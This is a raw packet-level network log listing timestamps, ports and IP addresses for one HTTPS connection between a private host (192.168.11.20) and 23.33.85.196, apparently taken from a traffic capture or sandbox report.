Jan 8, 2025 16:18:49.025638103 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.025738001 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.028887033 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.028899908 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.029021978 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.029097080 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.029097080 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.029107094 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.029144049 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.029192924 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.029288054 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.033031940 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.033041954 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.033256054 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.033266068 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.033329010 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.033504009 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.036423922 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.036432028 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.036570072 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.036570072 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.036617041 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.036626101 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.036763906 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.036834955 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.038041115 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.038234949 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.038234949 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.041620970 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.041632891 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.041800022 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.041850090 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.041851044 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.041862011 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.042005062 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.042660952 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.042850971 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.042896986 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.045701981 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.045711994 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.045840979 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.045840979 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.045888901 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.045964003 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.045964003 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.045969009 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.046013117 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.049165964 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.049177885 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.049321890 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.049321890 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.049334049 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.049370050 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.049418926 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.049418926 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.049509048 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.049526930 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.049674988 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.052695036 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.052704096 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.052859068 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.052859068 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.052908897 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.052908897 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.052913904 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.052927971 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.052979946 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.055617094 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.055628061 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.055784941 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.055795908 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.055938959 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.057154894 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.057303905 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.057303905 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.057351112 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.060103893 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.060112953 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.060267925 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.060267925 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.060280085 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.060374022 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.061152935 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.061335087 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.061429977 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.064102888 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.064114094 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.064261913 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.064261913 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.064306021 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.064306021 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.064311028 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.064357996 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.064510107 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.067413092 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.067424059 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.067523956 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.067594051 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.067594051 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.067637920 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.067642927 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.067692041 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.067734003 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.067754030 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.070025921 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.070039034 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.070178032 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.070178032 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.070188046 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.070226908 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.070271969 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.070271969 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.070324898 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.072983980 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.072993994 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.073214054 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.073214054 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.073225021 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.073235035 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.073286057 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.073903084 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.074136019 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.074136972 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.074146032 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.076570034 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.076581001 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.076756954 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.076756954 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.076766014 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.076777935 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.076853037 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.077970982 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.078286886 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.078294992 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.080583096 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.080590963 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.080733061 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.080733061 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.080739975 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.080806017 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.080909014 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.083420038 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.083430052 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.083620071 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.083631039 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.083693981 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.083693981 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.086004972 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.086013079 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.086153984 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.086153984 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.086163998 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.086204052 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.086338997 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.088076115 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.088083982 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.088339090 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.088347912 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.088439941 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.089608908 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.089768887 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.089768887 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.089778900 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.089859962 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.091821909 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.091833115 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.092005014 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.092005014 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.092015028 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.092025042 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.092123032 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.093250990 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.093420029 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.093420029 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.093429089 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.093476057 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.095310926 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.095319986 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.095500946 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.095509052 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.095591068 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.097817898 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.097822905 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.097955942 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.097964048 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.098021030 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.098153114 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.100802898 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.100812912 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.101051092 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.101059914 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.101144075 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.102380037 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.102391005 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.102565050 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.102565050 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.102575064 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.102663040 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.103456020 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.103626966 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.103636980 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.103755951 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.105779886 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.105789900 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.105993986 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.106004953 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.106013060 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.106013060 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.106117964 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.106654882 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.106827021 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.106836081 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.106913090 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.108889103 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.108897924 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.109096050 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.109096050 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.109106064 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.109117031 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.109117031 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.109246969 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.111113071 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.111124039 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.111288071 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.111288071 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.111299992 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.111306906 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.111306906 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.111411095 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.111681938 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.111888885 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.113624096 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.113632917 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.113843918 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.113852978 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.113898993 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.113898993 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.114010096 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.115567923 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.115577936 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.115823030 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.115832090 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.115843058 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.116096020 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.116561890 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.116729975 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.116837025 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.118870974 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.118880033 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.119185925 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.119194984 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.119297981 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.119354010 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.119363070 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.119509935 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.121448994 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.121458054 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.121642113 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.121642113 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.121665955 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.121670961 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.121714115 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.121812105 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.121857882 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.123733997 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.123744011 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.123904943 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.123910904 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.123939037 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.124073982 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.124083042 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.124151945 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.125705004 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.125715017 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.125865936 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.125865936 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.125875950 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.125916958 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.125966072 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.126061916 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.127876043 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.127885103 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.128041029 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.128041029 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.128062963 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.128110886 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.128110886 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.128114939 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.128156900 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.128614902 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.128818989 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.128823042 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.130512953 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.130525112 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.130676031 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.130676031 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.130685091 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.130775928 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.130825043 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.130924940 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.131335974 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.131551981 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.131551981 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.133228064 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.133238077 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.133383036 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.133428097 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.133428097 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.133435011 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.133502960 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.133524895 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.134995937 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.135009050 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.135195971 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.135202885 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.135227919 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.135277033 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.135370970 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.135375977 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.137036085 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.137043953 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.137242079 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.137248993 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.137305021 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.137396097 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.139074087 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.139082909 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.139324903 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.139333963 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.139377117 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.139377117 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.139877081 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.140064955 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.140074015 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.140156984 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.141755104 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.141766071 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:49.141963959 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.141963959 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:49.141973972 CET	443	52336	23.33.85.196	192.168.11.20
